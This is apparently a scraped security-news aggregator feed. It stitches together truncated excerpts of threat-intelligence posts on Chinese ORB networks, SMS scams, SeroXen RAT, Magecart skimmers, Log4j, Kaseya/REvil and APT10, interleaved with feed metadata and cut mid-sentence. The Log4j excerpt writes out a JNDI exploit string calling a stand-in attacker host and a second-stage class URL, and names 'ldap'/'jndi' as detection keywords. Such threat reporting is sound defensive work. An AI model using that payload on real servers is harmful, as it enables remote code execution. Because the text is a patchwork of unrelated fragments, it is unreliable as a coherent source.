ORB networks are akin to botnets and are made up of virtual private servers (VPS), as well as compromised Internet of Things (IoT) devices, smart devices, and routers that are often end of life or unsupported by their manufacturers. Building networks of compromised devices allows ORB network administrators to easily grow the size of their ORB network with little effort and create a constantly evolving mesh network that can be used to conceal espionage operations.  By using these mesh networks to conduct espionage operations, actors can disguise external traffic between command and control (C2) infrastructure and victim environments including vulnerable edge devices that are being exploited via zero-day vulnerabilities.  These networks often use both rented VPS nodes in combination with malware designed to target routers so they can grow the number of devices capable of relaying traffic within compromised networks.  Mandiant assesses with moderate confidence that this is an effort to raise the cost of defending an enterprise\'s network and shift the advantage toward espionage operators by evading detection and complicating attribution. Mandiant believes that if network defenders can shift the current enterprise defense paradigm away from treating adversary infrastructure like indicators of compromise (IOCs) and instead toward tracking ORB networks like evolving entities akin to APT groups, enterprises can contend with the rising challenge of ORB networks in the threat landscape. IOC Extinction and the Rise of ORB Networks The cybersecurity industry has reported on the APT practice of ORB network usage in the past as well as on the functional implementation of these networks. Less discussed are the implications of broad ORB network usage by a multitude of China-nexus espionage actors, which has become more common over recent years. The following are three key points and paradigm shifting implications about ORB networks that require enterprise network defenders to adapt the way they think about China-nexus espionage actors: ORB networks undermine the idea of “Actor-Controlled Infrastructure”: ORB networks are infrastructure networks administered by independent entities, contractors, or administrators within the People\'s Republic of China (PRC). They are not controlled by a single APT actor. ORB networks create a network interface, administer a network of compromised nodes, and contract access to those networks to multiple APT actors that will use the ORB networks to carry out their own distinct espionage and reconnaissance. These networks are not controlled by APT actors using them, but rather are temporarily used by these APT actors often to deploy custom tooling more conventionally attributable to known China-nexus adversaries. ORB network infrastructure has a short lifesp]]> 2024-05-22T14:00:00+00:00 https://cloud.google.com/blog/topics/threat-intelligence/china-nexus-espionage-orb-networks/ www.secnews.physaphae.fr/article.php?IdArticle=8504765 False Threat,Malware,Cloud,Tool,Prediction,Commercial,Vulnerability APT 31,APT 15,APT 5 3.0000000000000000 Kovrr - cyber risk management platform 2023-11-28T00:00:00+00:00 https://www.kovrr.com/reports/investigating-the-risk-of-compromised-credentials-and-internet-exposed-assets www.secnews.physaphae.fr/article.php?IdArticle=8417472 False Threat,Ransomware,Cloud,Studies,Prediction APT 17,APT 39,APT 39 3.0000000000000000 knowbe4 - cybersecurity services Resesecurity avertit que l'acteur de la triade de smirage a «largement élargi son empreinte d'attaque» aux Émirats arabes unis (EAU).

Phony bank fraud prevention alerts were the most common type of text scam last year. "Reports about texts impersonating banks are up nearly tenfold since 2019 with median reported individual losses of $3,000 last year," the report says. These are the top five text scams reported by the FTC: Copycat bank fraud prevention alerts Bogus "gifts" that can cost you Fake package delivery problems Phony job offers Not-really-from-Amazon security alerts "People get a text supposedly from a bank asking them to call a number ASAP about suspicious activity or to reply YES or NO to verify whether a transaction was authorized. If they reply, they\'ll get a call from a phony \'fraud department\' claiming they want to \'help get your money back.\' What they really want to do is make unauthorized transfers. "What\'s more, they may ask for personal information like Social Security numbers, setting people up for possible identity theft." Fake gift card offers took second place, followed by phony package delivery problems. "Scammers understand how our shopping habits have changed and have updated their sleazy tactics accordingly," the FTC says. "People may get a text pretending to be from the U.S. Postal Service, FedEx, or UPS claiming there\'s a problem with a delivery. "The text links to a convincing-looking – but utterly bogus – website that asks for a credit card number to cover a small \'redelivery fee.\'" Scammers also target job seekers with bogus job offers in an attempt to steal their money and personal information. "With workplaces in transition, some scammers are using texts to perpetrate old-school forms of fraud – for example, fake \'mystery shopper\' jobs or bogus money-making offers for driving around with cars wrapped in ads," the report says. "Other texts target people who post their resumes on employment websites. They claim to offer jobs and even send job seekers checks, usually with instructions to send some of the money to a different address for materials, training, or the like. By the time the check bounces, the person\'s money – and the phony \'employer\' – are long gone." Finally, scammers impersonate Amazon and send fake security alerts to trick victims into sending money. "People may get what looks like a message from \'Amazon,\' asking to verify a big-ticket order they didn\'t place," the FTC says.

It has been historically associated with malicious activity performed by threat actors, APT groups (like in this Mandiant report from 2017), or government attacks (in this report by Unit42 in 2017). It was first released in July 2014 as “xRAT” and renamed to “Quasar” in August 2015. Since then, there have been released updates to the code until v1.4.1 in March 2023, which is the most current version. As an open-source RAT tool with updates 9 years after its creation, it is no surprise that it continues to be a common tool used by itself or combined with other payloads by threat actors up to this day. In a review of the most recent samples, a new Quasar variant was observed by Alien Labs in the wild: SeroXen. This new RAT is a modified branch of the open-source version, adding some modifications features to the original RAT. They’re selling it for monthly or lifetime fee. Figure 1 contains some of the features advertised on their website. Figure 1. SeroXen features announced on its website. This new RAT first showed up on a Twitter account, established in September 2022. The person advertising the RAT appeared to be an English-speaking teenager. The same Twitter handle published a review of the RAT on YouTube. The video approached the review from an attacking/Red Team point of view, encouraging people to buy the tool because it is worth the money. They were claiming to be a reseller of the tool. In December 2022, a specific domain was registered to market/sell the tool, seroxen[.]com. The RAT was distributed via a monthly license for $30 USD or a lifetime license of $60 USD. It was around that time that the malware was first observed in the wild, appearing with 0 detections on VirusTotal. After a few months, on the 1st of February, the YouTuber CyberSec Zaado published a video alerting the community about the capabilities of the RAT from a defensive perspective. In late February, the RAT was advertised on social media platforms such as TikTok, Twitter, YouTube, and several cracking forums, including hackforums. There were some conversations on gaming forums complaining about being infected by malware after downloading some video games. The artifacts described by the users matched with SeroXen RAT. The threat actor updated the domain name to seroxen[.]net by the end of March.

Trending Cyber News and Threat Intelligence Roaming Mantis Implements New DNS Changer in Its Malicious Mobile App in 2022 (published: January 19, 2023) In December 2022, a financially-motivated group dubbed Roaming Mantis (Shaoye) continued targeting mobile users with malicious landing pages. iOS users were redirected to phishing pages, while Android users were provided with malicious APK files detected as XLoader (Wroba, Moqhao). Japan, Austria, France, and Germany were the most targeted for XLoader downloads (in that order). All but one targeted country had smishing as an initial vector. In South Korea, Roaming Mantis implemented a new DNS changer function. XLoader-infected Android devices were targeting specific Wi-Fi routers used mostly in South Korea. The malware would compromise routers with default credentials and change the DNS settings to serve malicious landing pages from legitimate domains. Analyst Comment: The XLoader DNS changer function is especially dangerous in the context of free/public Wi-Fi that serve many devices. Install anti-virus software for your mobile device. Users should be cautious when receiving messages with a link or unwarranted prompts to install software.

It is a rebranded development of the Ermac malware that was based on the Android banker Cerberus. Hook added new capabilities in targeting banking and cryptocurrency-related applications. The malware also added capabilities of a remote access trojan and a spyware. Its device take-over capabilities include being able to remotely view and interact with the screen of the infected device, manipulate files on the devices file system, simulate clicks, fill text boxes, and perform gestures. Hook can start the social messaging application WhatsApp, extract all the messages present, and send new ones. Analyst Comment: Users should take their mobile device security seriously whether they use it for social messaging or actually provide access to their banking accounts and/or cryptocurrency holdings. Similar to its predecessors, Hook will likely be used by many threat actors (malware-as-as-service model). It means the need to protect from a wide range of attacks: smishing, prompts to install malicious apps, excessive]]> 2023-01-24T16:30:00+00:00 https://www.anomali.com/blog/anomali-cyber-watch-roaming-mantis-changes-dns-on-wi-fi-routers-hook-android-banking-trojan-has-device-take-over-capabilities-ke3chang-targeted-iran-with-updated-turian-backdoor www.secnews.physaphae.fr/article.php?IdArticle=8303740 False Threat,Malware,Guideline,Tool APT 25,APT 15 3.0000000000000000 CSO - CSO Daily Dashboard Palo Alto Networks report. The Chinese threat actor also known as APT15, KeChang, NICKEL, BackdoorDiplomacy, and Vixen Panda, was observed attempting to connect government domains to malware infrastructure previously associated with the APT group, according to the report.“Playful Taurus continues to evolve their tactics and their tooling.

Adversaries first identify targets, then they establish rapport with the victim before exploiting them for whatever their end goal is. In the case of BEC, a threat actor can impersonate any employee in the organization to trick targets.  A policy that checks for authorized email addresses of the sender can prevent BEC attacks. However, scaling the approach for every employee in a large organization is a challenge.  Building an executive profile based on email analysis using a machine learning model and scanning emails against that profile will detect BEC. Data collection for building and training machine learning algorithms can take time, though, opening a window of opportunity for threat actors to exploit.  Detection of exploitation techniques such as lookalike domains and any differences in the email addresses in the "From" and "Reply-to" fields can also detect BEC messages. However, the final verdict cannot account for the threat actor's intent.  The intent-based approach detects BEC and then classifies it into the type of scam. It catches BEC messages, irrespective of whether a threat actor is impersonating a C-level executive or any employee in an organization. Classification based on the type of scam can help identify which segment of an organization was targeted and which employees were being impersonated by the threat actor. The additional information will further assist in better designing preventive features to stop BEC. Business email compromise (BEC) is one of the most financially damaging online crimes. As per the internet crime 221 report, the total loss in 2021 due to BEC is around 2.4 billion dollars. Since 2013, BEC has resulted in a 43 billion dollars loss. The report defines BEC as a scam targeting businesses (not individuals) working with foreign suppliers and companies regularly performing wire transfer payments. Fraudsters carry out these sophisticated scams to conduct the unauthorized transfer of funds. This introduces the challenge of how to detect and block these campaigns as they continue to compromise organizations successfully. There are a variety of approaches to identifying BEC email messages, such as using policy to allow emails from authorized email addresses, detecting exploitation techniques used by threat actors, building profiles by analysis of emails, and validating against the profile to detect BEC. These approaches have a variety of limitations or shortcomings. Cisco Talos is taking a different approach and using an intent-based model to identify and block BEC messages. Before we get too deep into the intent-based model, take a deeper look at the commonly used approaches to block BEC from the simplistic through machine learning (ML) approaches. Policy-based detection The first place to start is with policy-based detection as it is one of the most common and simplistic approaches to blocking BEC campaigns. Let's start by looking at an example of a BEC email. ]]> 2022-10-18T08:41:18+00:00 http://blog.talosintelligence.com/2022/10/the-benefits-of-taking-intent-based.html www.secnews.physaphae.fr/article.php?IdArticle=7540074 False Threat,Cloud,Medical APT 38,APT 19,APT 29,APT 10,APT 37,Uber,APT 15,Yahoo None Anomali - Firm Blog Figure 1 - IOC Summary Charts.

Trending Cyber News and Threat Intelligence Hacker Pwns Uber Via Compromised VPN Account (published: September 16, 2022) On September 15, 2022, ride-sharing giant Uber started an incident response after discovering a data breach. According to Group-IB researchers, download file name artifacts point to the attacker getting access to fresh keylogger logs affecting two Uber employees from Indonesia and Brazil that have been infected with Racoon and Vidar stealers. The attacker allegedly used a compromised VPN account credentials and performed multifactor authentication fatigue attack by requesting the MFA push notification many times and then making a social-engineering call to the affected employee. Once inside, the attacker allegedly found valid credentials for privilege escalation: a PowerShell script containing hardcoded credentials for a Thycotic privileged access management admin account. On September 18, 2022, Rockstar Games’ Grand Theft Auto 6 suffered a confirmed data leak, likely caused by the same attacker. Analyst Comment: Network defenders can consider setting up alerts for signs of an MFA fatigue attack such as a large number of MFA requests in a relatively short period of time.

This war-induced fragility has exposed the weaknesses of how we feed ourselves globally. Ransomware cartels and other adversaries are well aware of this and are actively exploiting that fragility. For the past six years, Cisco Talos has been actively involved in assisting public and private institutions in Ukraine to defend themselves against state-sponsored actors. Our involvement stretches the gamut from commercial to critical infrastructure, to election security. Our presence has afforded us unique opportunities and observations about cybersecurity in a macro and micro way. Ukraine has been a frequent victim of state-sponsored cyber attacks aimed at critical infrastructures like power and transportation. Talos is proud to stand with our partners in Ukraine and help defend their critical networks and help users there maintain access to necessary services. Now that Russia has invaded Ukraine, those threats have escalated to kinetic attacks that are wreaking havoc on a critical element of our world: agriculture and our global food supply chain. Even worse is the implications this war will have for future cyber attacks, as fragility is considered a lucrative element in deciding victimology by threat actors like ransomware cartels. To truly grasp the implications of the war in Ukraine, we have to examine how vital Ukrainian agriculture feeds the world, the current state of affairs, and what this means for the global cybersecurity posture to protect agricultural assets. Where there is weakness, there is opportunityRansomware cartels and their affiliates are actively targeting the agricultural industry. Moreover, these actors have done their homework and are targeting agricultural companies during the two times of the year where they cannot suffer disruptions: planting and harvesting. Per the published FBI PIN Alert: “Cyber actors may perceive cooperatives as lucrative targets with a willingness to pay due to the time-sensitive role they play in agricultural production.” This is far from unusual for these adversaries - they are shrewd and calculating, and understand their victims' weaknesses and industries.

The operators of the service also established Discord and Telegram communities where they provide technical support and assistance for customers on the platform.Dark Utilities provides payloads consisting of code that is executed on victim systems, allowing them to be registered with the service and establish a command and control (C2) communications channel. The platform currently supports Windows, Linux and Python-based payloads, allowing adversaries to target multiple architectures without requiring significant development resources. During our analysis, we observed efforts underway to expand OS and system architecture support as the platform continues to see ongoing develo]]> 2022-08-04T08:00:13+00:00 http://blog.talosintelligence.com/2022/08/dark-utilities.html www.secnews.physaphae.fr/article.php?IdArticle=6123175 False Threat,Spam,Malware,Hack,Guideline,Tool APT 19 None CISCO Talos - Cisco Research blog By Asheer Malhotra and Vitor Ventura.Cisco Talos recently discovered a new attack framework called "Manjusaka" being used in the wild that has the potential to become prevalent across the threat landscape. This framework is advertised as an imitation of the Cobalt Strike framework.The implants for the new malware family are written in the Rust language for Windows and Linux.A fully functional version of the command and control (C2), written in GoLang with a User Interface in Simplified Chinese, is freely available and can generate new implants with custom configurations with ease, increasing the likelihood of wider adoption of this framework by malicious actors.We recently discovered a campaign in the wild using lure documents themed around COVID-19 and the Haixi Mongol and Tibetan Autonomous Prefecture, Qinghai Province. These maldocs ultimately led to the delivery of Cobalt Strike beacons on infected endpoints.We have observed the same threat actor using the Cobalt Strike beacon and implants from the Manjusaka framework.IntroductionCisco Talos has discovered a relatively new attack framework called "Manjusaka" (which can be translated to "cow flower" from the Simplified Chinese writing) by their authors, being used in the wild.As defenders, it is important to keep track of offensive frameworks such as Cobalt Strike and Sliver so that enterprises can effectively defend against attacks employing these tools. Although we haven't observed widespread usage of this framework in the wild, it has the potential to be adopted by threat actors all over the world. This disclosure from Talos intends to provide early notification of the usage of Manjusaka. We also detail the framework's capabilities and the campaign that led to the discovery of this attack framework in the wild.The research started with a malicious Microsoft Word document (maldoc) that contained a Cobalt Strike (CS) beacon. The lure on this document mentioned a COVID-19 outbreak in Golmud City, one of the largest cities in the Haixi Mongol and Tibetan Autonomous Prefecture, Qinghai Province. During the investigation, Cisco Talos found no direct link between the campaign and the framework developers, aside from the usage of the framework (which is freely available on GitHub). However, we could not find any data that could support victimology definition. This is justifiable considering there's a low number of victims, indicating the early stages of the campaign, further supported by the maldoc metadata that indicates it was created in the second half of June 2022.While investigating the maldoc infection chain, we found an implant used to instrument Manjusaka infections, contacting the same IP address as the CS beacon.

Trending Cyber News and Threat Intelligence Credit Card Stealer Targets PsiGate Payment Gateway Software (published: May 25, 2022) Sucuri Researchers have detailed their findings on a MageCart skimmer that had been discovered within the Magento payment portal. Embedded within the core_config_data table of Magento’s database, the skimmer was obfuscated and encoded with CharCode. Once deobfuscated, a JavaScript credit card stealer was revealed. The stealer is able to acquire text and fields that are submitted to the payment page, including credit card numbers and expiry dates. Once stolen, a synchronous AJAX is used to exfiltrate the data. Analyst Comment: Harden endpoint security and utilize firewalls to block suspicious activity to help mitigate against skimmer injection.

DNS tunneling is an effective way to hide C2 communication as DNS traffic serves a vital function in modern day internet communications thus blocking DNS traffic is almost never done. Saitama formats its DNS lookups with the structure of a domain consisting of message, counter . root domain. Data is encoded utilizing a hardcoded base36 alphabet. There are four types of messages that Saitama can send using this method: Make Contact to establish communication with a C2 domain, Ask For Command to get the expected size of the payload to be delivered, Get A Command in which Saitama will make Receive requests to retrieve payloads and instructions and finally Run The Command in which Saitama runs the instructions or executes the payload and sends the results to the established C2. Analyst Comment: Implement an effective DNS filtering system to block malicious queries. Furthermore, maintaining a whitelist of allowed applications for installation will assist in preventing malware like Saitama from being installed.

Trending Cyber News and Threat Intelligence COBALT MIRAGE Conducts Ransomware Operations in U.S. (published: May 12, 2022) Secureworks researchers describe campaigns by Iran-sponsored group Cobalt Mirage. These actors are likely part of a larger group, Charming Kitten (Phosphorus, APT35, Cobalt Illusion). In 2022, Cobalt Mirage deployed BitLocker ransomware on a US charity systems, and exfiltrated data from a US local government network. Their ransomware operations appear to be a low-scale, hands-on approach with rare tactics such as sending a ransom note to a local printer. The group utilized its own custom binaries including a Fast Reverse Proxy client (FRPC) written in Go. It also relied on mass scanning for known vulnerabilities (ProxyShell, Log4Shell) and using commodity tools for encryption, internal scanning, and lateral movement.

ESET named these teams FlowingFrog, JollyFrog, and LookingFrog. FlowingFrog uses the Royal Road RTF weaponizer described by Anomali in 2019. Infection has two stages: the Tendyron implant followed by a very complex FlowCloud backdoor. JollyFrog uses generic malware such as PlugX and QuasarRAT. LookingFrog’s infection stages feature the X4 backdoor followed by the LookBack backdoor. Besides using different backdoors and exiting from IP addresses located in three different districts, the three teams use similar tools and similar tactics, techniques, and procedures (TTPs). Analyst Comment: Organizations should keep their web-facing applications such as Microsoft Exchange or SharePoint secured and updated. Educate your employees on handling suspected spearphishing attempts. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security.

While they were adopted for certain niche uses, they never did quite reach their full potential. They are a bit like Rick Astley in that regard, really popular for one song, but well after the boat had sailed. Do not get me wrong, Rick Astley achieved a lot. In recent years, he has become immortalized as a meme and Rick roller, but he could have been so much more. However, in recent years, with lockdown and the drive to keep things at arms length, QR codes have become an efficient way to facilitate contactless communications, or the transfer of offers without physically handing over a coupon. As this has grown in popularity, more people have become familiar with how to generate their own QR codes and how to use them as virtual business cards, discount codes, links to videos and all sorts of other things. QRime Codes As with most things, once they begin to gain a bit of popularity, criminals move in to see how they can manipulate the situation to their advantage. Recently, we have seen fake QR codes stuck to parking meters enticing unwitting drivers to scan the code, and hand over their payment details believing they were paying for parking, whereas they were actually handing over their payment information to criminals. The rise in QR code fraud resulted in the FBI releasing an advisory warning against fake QR codes that are being used to scam users. In many cases, a fake QR code will lead people to a website that looks like the intended legitimate site. So, the usual verification process of checking the URL and any other red flags apply.

Trending Cyber News and Threat Intelligence Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (published: December 10, 2021) A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

Trending Cyber News and Threat Intelligence Shutdown Kaseya VSA Servers Now Amidst Cascading REvil Attack Against MSPs, Clients (published: July 4, 2021) A severe ransomware attack reportedly took place against the popular remote monitoring and management (RMM) software tool Kaseya VSA. On July 2, 2021, Kaseya urged users to shut down their VSA servers to prevent them from being compromised. The company estimated that fewer than 40 of their customers worldwide were affected, but as some of them were managed service providers (MSPs), over 1,000 businesses were infected. The majority of known victims are in the US with some in Europe (Sweden) and New Zealand. The attackers exploited a zero-day vulnerability in Kaseya’s systems that the company was in the process of fixing. It was part of the administrative interface vulnerabilities in tools for system administration previously identified by Wietse Boonstra, a DIVD researcher. The REvil payload was delivered via Kaseya software using a custom dropper that dropped two files. A dropper opens an old but legitimate copy of Windows Defender (MsMpEng.exe) that then side loads and executes the custom malicious loader's export. The attack coincided with the start of the US Independence Day weekend, and has several politically-charged strings, such as “BlackLivesMatter” Windows registry key and “DTrump4ever” as a password. Analyst Comment: Kaseya VSA clients should safely follow the company’s recommendations as it advised shutting Kaseya VSA servers down, and is making new security updates available. Every organization should have a ransomware disaster recovery plan even if it is serviced by a managed service provider (MSP).

This threat actor uses a "DLL side-loading triad" previously mastered by another Chinese group, LuckyMouse: a legitimate executable, a malicious DLL to be sideloaded by it, and an encoded payload, generally dropped from a self-extracting archive. But the code origins of the new malware used on different stages of this campaign point to a different Chinese-speaking group, Cycldek.

It generates approximately 1.5 GB of Internet Control Message Protocol (ICMP) traffic. Analyst Comment: Organizations should use email security solutions to block malicious/spam emails. All email attachments should be scanned for malware before they reach the user's inbox. IPS rules need to be configured properly to identify any reconnaissance attempts e.g. port scan to get early indication of potential breach.

Trending Cyber News and Threat Intelligence German-made FinSpy Spyware Found in Egypt, and Mac and Linux Versions Revealed (published: September 25, 2020) Security Researchers from Amnesty International have identified new variants of FinSpy, spyware that can access private data and record audio/video. While used as a law enforcement tool, authoritarian governments have been using FinSpy to spy on activists and dissidents. Spreading through fake Flash Player updates, the malware is installed as root with use of exploits, and persistence is gained by creating a logind.pslist file. Once a system is infected with the malware, it has the ability to run shell scripts, record audio, keylogging, view network information, and list files. Samples have been found of FinSpy for macOS, Windows, Android, and Linux. Recommendation: Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from threat actors, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place. Furthermore, all employees should be educated on the risks of spearphishing and how to identify such attempts. MITRE ATT&CK: [MITRE ATT&CK] Logon Scripts - T1037 | [MITRE ATT&CK] Standard Application Layer Protocol - T1071 Tags: Amnesty, Android, Backdoor, Linux, macOS, FinSpy, Spyware Magento Credit Card Stealing Malware: gstaticapi (published: September 25, 2020) Security researchers, at Sucuri, have identified a malicious script, dubbed “gstaticapi,” that is designed to steal payment information from Magento-based websites. The script first attempts to find the “checkout” string in a web browser URL and, if found, will create an element to the web pages header. This allows the JavaScript to handle external code-loading capabilities that are used to process the theft of billing and payment card information. Recommendation: Sometimes webmasters discover that one of their sites has been compromised months after the initial infection. Websites, much like personal workstations, require constant maintenance and upkeep in order to adapt to the latest threats. In addition to keeping server software up to date, it is critical that all external-facing assets are monitored and scanned for vulnerabilities. The ability to easily restore from backup, incident response planning, and customer communication channels should all be established before a breach occurs.

Last year, more than 32 million patients had their personal and medical information stolen in data breaches across the United States. While moves are being made, the fact remains that healthcare providers still have many holes to plug when it comes to the illegal or accidental outpouring of patient data. The issue is that current problems need to be solved now before hackers move on to new, more advanced attack strategies. The good news is that there are many methods currently available to mitigate the chances of data leakage if medical professionals are proactive enough to enforce them. HIPAA on the front lines When patients visit the doctor, they expect to go to a safe place where their best interests are always the top priority. To foster that confidence, the Health Insurance Portability and Accountability Act was created to protect patient data while also giving the patients control over who can see their information. Along with HIPAA, the Health Information Technology for Economic and Clinical Health (HITECH) Act, encourages medical practices also to ensure that all technology they use is protected to eliminate wrongful data leakage. Medical records contain an abundance of private information that can be used for any number of malicious means. Full medical records can often go for $1000 on the black market where the addresses, social security numbers, and financial information within can be used to create fake identification or take out large loans that can leave the patient in debt. If a hacker catches wind of a patient’s surgery date, they can even attempt to shut down hospital functions until a ransom is paid, like the $14K one paid by Columbia Surgical Specialists. For these security reasons and to retain the trust of the patients, proper data security is essential, and it starts on the front lines. Nurse leaders should train their staff on how to retain patient confidentiality properly. When discussing the patients near the front desk, only use first names, and conversations should be had behind a closed door or as quietly as possible. Hard copies of patent data should never be left lying around, and your printer should be set to print pages facing down. The last thing you need is to have security precautions in place but still allow a criminal to simply walk up and take private information out of the office. Proper record keeping Because hackers have so much to gain from stealing patient data, proper record-keeping is essential. Per HIPAA, medical records are required to be kept between five to 10 years, based on the state and the patient’s last treatment or discharge. If paperwork is to be discarded, it must be properly shredded. If you keep paper records, they must be stored in locked cabinet]]> 2020-01-07T14:00:00+00:00 https://feeds.feedblitz.com/~/615057256/0/alienvault-blogs~Healthcare-cybersecurity-for-and-beyond www.secnews.physaphae.fr/article.php?IdArticle=1497829 False Threat,Guideline APT 10 None RedTeam PL - DarkTrace: AI bases detection https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon] which supports DNS queries in event ID 22 (DNSEvent).The DNS queries used below that end with ]]> 2019-08-14T21:45:48+00:00 https://blog.redteam.pl/2019/08/threat-hunting-dns-firewall.html www.secnews.physaphae.fr/article.php?IdArticle=1798891 False Threat,Spam,Malware,Guideline APT 18 None AlienVault Blog - AlienVault est un acteur de defense majeur dans les IOC subscribe to the Youtube channel to stay updated. This is a transcript of a recent feature on ThreatTraq.  The video features Jaime Blasco, VP and Chief Scientist, AlienVault, Stan Nurilov, Lead Member of Technical Staff, AT&T,  and Joe Harten, Director Technical Security. Stan: Jaime. I think you have a very interesting topic today about threat intelligence.  Jaime: Yes, we want to talk about how threat intelligence is critical for threat detection and incident response, but then when this threat intelligence and the threat actors try to match those indicators and that information that is being shared, it can actually be bad for companies. So we are going to share some of the experiences we have had with managing the Open Threat Exchange (OTX) - one of the biggest threat sharing communities out there. Stan: Jaime mentioned that they have so many threat indicators and so much threat intelligence as part of OTX, the platform.  Jaime: We know attackers monitor these platforms and are adjusting tactics and techniques and probably the infrastructure based on public reaction to cyber security companies sharing their activities in blog posts and other reporting. An example is in September 2017, we saw APT28, and it became harder to track because we were using some of the infrastructure and some of the techniques that were publicly known. And another cyber security company published content about that and then APT28 became much more difficult to track. The other example is APT1. If you remember the APT1 report in 2013 that Mandiant published, that made the group basically disappear from the face of earth, right? We didn't see them for a while and then they changed the infrastructure and they changed a lot of the tools that they were using, and then they came back in 2014. So we can see that that threat actor disappeared for a while, changed and rebuilt, and then they came back. We also know that attackers can try to publish false information in this platform, so that's why it's important that not only those platforms are automated, but also there are human analysts that can verify that information.  Joe: It seems like you have to have a process of validating the intelligence, right? I think part of it is you don't want to take this intelligence at face value without having some expertise of your own that asks, is this valid? Is this a false positive? Is this planted by the adversary in order to throw off the scent? I think it's one of those things where you can't automatically trust - threat intelligence. You have to do some of your own diligence to validate the intelligence, make sure it makes sense, make sure it's still fresh, it's still good. This is something we're working on internally - creating those other layers to validate and create better value of our threat intelligence. Jaime: The other issue I wanted to bring to the table is what we call false flag operations - that's when an adversary or a threat actor studies another threat actor and tries to emulate their behavior. So when companies try to do at]]> 2019-07-25T13:00:00+00:00 https://feeds.feedblitz.com/~/604869576/0/alienvault-blogs~Can-you-trust-threat-intelligence-from-threat-sharing-communities-ATampT-ThreatTraq www.secnews.physaphae.fr/article.php?IdArticle=1222817 False Threat,Malware,Guideline,Studies APT 38,APT 28,APT 1 None Security Affairs - Blog Secu 2019-07-24T03:07:00+00:00 https://securityaffairs.co/wordpress/88824/apt/apt15-okrum-backdoor.html www.secnews.physaphae.fr/article.php?IdArticle=1220700 True Threat APT 25,APT 15 None SecurityWeek - Security News 2019-07-23T14:31:00+00:00 https://www.securityweek.com/china-linked-threat-actor-using-new-backdoor www.secnews.physaphae.fr/article.php?IdArticle=1220616 False Threat APT 15 None IT Security Guru - Blog Sécurité 2019-07-19T14:35:01+00:00 https://www.itsecurityguru.org/2019/07/19/malware-that-waits-for-three-mouse-clicks-before-running/ www.secnews.physaphae.fr/article.php?IdArticle=1214430 False Threat,Malware APT 25,APT 15 2.0000000000000000 Bleeping Computer - Magazine Américain 2019-07-18T07:03:00+00:00 https://www.bleepingcomputer.com/news/security/new-okrum-malware-used-by-ke3chang-group-to-target-diplomats/ www.secnews.physaphae.fr/article.php?IdArticle=1212312 False Threat,Malware APT 25,APT 15 None AlienVault Blog - AlienVault est un acteur de defense majeur dans les IOC Threat Actors That Don’t Discriminate  When it comes to threat actors and the malware variants they use, let’s talk dating — or rather, the way people date — because one could argue there are marked similarities between the two. You see, there are criminal groups who have a “type,” i.e. using malware that targets specific industries or even organizations — say, financial services (ever-popular and oh-so debonair) or perhaps critical infrastructure (spicy and daring!), or even healthcare for those who prefer staid and demure. Yet other groups are the free lovin’ types who go after multiple sectors using many different malware variants and approaches to accomplish their goal — no discriminating with this bunch. Let’s look at one such example, APT10 / Cloud Hopper, which is likely the group behind a long running, sophisticated campaign that uses multiple malware variants to target many different sectors in many different countries. You can check out some of the pulses relating to APT10 / Cloud Hopper on the Open Threat Exchange (OTX). The U.S. National Cybersecurity and Communications Integration Center (NCCIC) reports the campaign started in May 2016, and NCCIC last updated its alert in December 2018 — so it’s not going away yet. The group known as APT10 / Cloud Hopper has hit quite a few victims over the last few years in many different sectors, such as: information technology, energy, healthcare and public health, communications, and critical manufacturing. However, their “date of choice” seems to be MSSPs due to the fact a that credential compromises within those networks could potentially be leveraged to access customer environments. From OTX pulse “Operation Cloud Hopper”: The espionage campaign has targeted managed IT service providers (MSSPs), allowing the APT10 group unprecedented potential access to the intellectual property and sensitive data of those MSSPs and their clients globally. This indirect approach of reaching many through only a few targets demonstrates a new level of maturity in cyber espionage – so it’s more important than ever to have a comprehensive view of all the threats your organization might be exposed to, either directly or through your supply chain. As any clever serial dater would do, APT10 / Cloud Hopper doesn’t use just one approach. The NCCIC reports they have deployed multiple malware families and variants, some of which are currently not detected by anti-virus signatures — for example, PLUGX / SOGU and REDLEAVES. And although the observed malware is based on existing malware code, APT10 / Cloud Hopper modifies it to improve effectiveness and avoid detection by existing signatures. How Can APT10 Group Impact You? If these free lovin’ bad guys decide to come after you, they’re likely looking for your data (perhaps to steal intellectual property). At a high level, they’re accomplishing this by leveraging stolen administrative credentials (local and domain) and certificates to place sophisticated malware implants on critical systems (such as PlugX and Redleaves). Depending on the defensive mitigations in place, they then gain full access to networks and data in a way that appears legitimate to existing your monitoring tools. Voila! They’ve gone from first date to a home run!

